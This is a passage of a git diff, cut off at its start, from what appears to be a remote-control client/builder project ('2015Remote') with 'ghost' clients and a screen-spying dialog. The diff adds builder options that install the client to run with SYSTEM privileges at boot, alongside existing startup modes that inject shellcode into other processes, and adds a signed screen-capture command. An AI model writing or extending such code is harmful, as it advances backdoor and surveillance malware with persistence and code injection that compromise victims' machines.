(cmd) nCmd = cmd(buf, 1); + result = 1; + Mprintf("Finish run command. Result: %d\n", nCmd); + break; + } do { run(ip, port); while (bStop && !bStop() && 0 == status) diff --git a/common/commands.h b/common/commands.h index eebe1de..005c7e7 100644 --- a/common/commands.h +++ b/common/commands.h @@ -312,6 +312,7 @@ enum { TOKEN_DRAWING_BOARD=151, // 画板 COMMAND_SCREEN_ROI = 152, // 屏幕区域 COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏) + COMMAND_SCREEN_SIGNATURE = 154, TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 @@ -353,6 +354,11 @@ enum { }; #pragma pack(push, 1) +struct SignatureResp { + char msg[64]; + char signature[64]; +}; + struct TextReplace { uint8_t cmd; uint8_t type; @@ -736,6 +742,8 @@ enum TestRunType { Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code ) Startup_GhostMsc, // Windows 服务 Startup_TestRunMsc, // Windows 服务 + Startup_GhostSystem, // SYSTEM 权限运行(随开机启动) + Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动) }; inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 11c6cfb..2b75de7 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -30,6 +30,8 @@ enum Index { IndexLinuxGhost, IndexMacGhost, IndexAndroidGhost, + IndexGhostSystem, + IndexTestRunSystem, OTHER_ITEM }; @@ -493,6 +495,22 @@ void CBuildDlg::OnBnClickedOk() szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID); break; } + case IndexGhostSystem: + file = "ghost.exe"; + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); + typ = CLIENT_TYPE_ONE; + startup = Startup_GhostSystem; + szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize, + is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86); + break; + case IndexTestRunSystem: + file = "TestRun.exe"; + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); + typ = CLIENT_TYPE_MEMDLL; + startup = Startup_TestRunSystem; + szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize, + is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86); + break; case OTHER_ITEM: { targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir); m_OtherItem.GetWindowTextA(file); @@ -801,6 +819,8 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64"); m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS"); m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android"); + m_ComboExe.InsertStringL(IndexGhostSystem, "ghost - SYSTEM"); + m_ComboExe.InsertStringL(IndexTestRunSystem, "TestRun - SYSTEM"); m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 7198477..d259d12 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -919,6 +919,15 @@ BOOL CScreenSpyDlg::OnInitDialog() m_ContextObject->Send2Client(sizeCmd, 10); } } + std::string signMessage(const std::string& privateKey, BYTE* msg, int len); + BYTE bToken[1 + sizeof(SignatureResp)] = { COMMAND_SCREEN_SIGNATURE }; + std::string msg = ToPekingTimeAsString(0); + auto signature = signMessage("", (BYTE*)msg.c_str(), msg.length()); + SignatureResp resp = { 0 }; + memcpy(resp.msg, msg.data(), msg.size()); + memcpy(resp.signature, signature.data(), signature.size()); + memcpy(bToken + 1, &resp, sizeof(SignatureResp)); + m_ContextObject->Send2Client(bToken, sizeof(bToken)); SendNext();